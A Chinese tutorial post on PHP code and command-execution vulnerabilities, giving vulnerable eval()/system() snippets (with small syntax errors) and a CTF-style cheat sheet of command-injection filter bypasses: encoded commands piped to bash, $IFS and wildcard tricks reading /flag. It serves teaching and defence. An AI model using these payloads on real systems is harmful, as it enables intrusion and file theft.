RCE与命令执行从产生到防御

Posted KD_du

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了RCE与命令执行从产生到防御相关的知识,希望对你有一定的参考价值。

rce执行和命令执行漏洞

eval()函数将传进来的参数当作php代码进行解析
Rce代码漏洞示例

<?php
	$code=$_get['x'];
	eval($code) //代码执行
>

命令执行漏洞代码示例

<?php
	$code=$_get['x'];
	echo system($code) //命令执行
>

代码执行形成条件

1、可控变量
2、漏洞函数

产生

web源码 thinkphp webmin
中间件平台
其他环境
poc验证漏洞,exp利用漏洞

防御:

敏感函数禁用,变量过滤或固定,waf产品
rce漏洞函数
eval()、assert()、preg_replace()、**$**
注意: $执行代码(在 双引号 中倘若有$出现,那么内的内容将被当做php代码块来执行。)
方法:$php代码
命令执行函数
system() :
shell_exec():
exec():
passthru():
空格被绕过
< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、$IFS、$IFS等,还可以用 比如 cat,flag
关键字绕过
1.URL编码绕过
关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。
2.Base64编码绕过
echo MTIzCg==|base64 -d    其将会打印123         //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash      将执行了cat /flag        //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh               将执行ls
3、hex编码绕过
echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
$(printf "\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67")         执行cat /flag
printf,"\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67"|$0       执行cat /flag
4、Oct编码绕过
$(printf "\\154\\163")       执行ls
5、偶读拼接绕过
$(printf "\\154\\163")       执行ls
6、内联执行绕过
echo "a`pwd`"          #输出a/root
?ip=127.0.0.1;cat$IFS$9`ls`
7、引号绕过
ca""t  =>  cat
mo""re  =>  more  
in""dex  =>  index
ph""p  =>  php
8、通配符绕过
假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*
9、反斜杠绕过
ca\\t  =>  cat
mo\\re  =>  more  
in\\dex  =>  index
ph\\p  =>  php
n\\l  =>  nl
10、匹配绕过
c[a]t  =>  cat
mo[r]e  =>  more  
in[d]ex  =>  index
p[h]p  =>  php

以上是关于RCE与命令执行从产生到防御的主要内容,如果未能解决你的问题,请参考以下文章

RCE全覆盖

20201124-web方向-命令执行-RCE

Pikachu-RCE(远程命令/代码执行漏洞)

RCE总结

Java代码审计之RCE远程命令执行

Apache Log4j2 RCE 远程命令执行漏洞复现与分析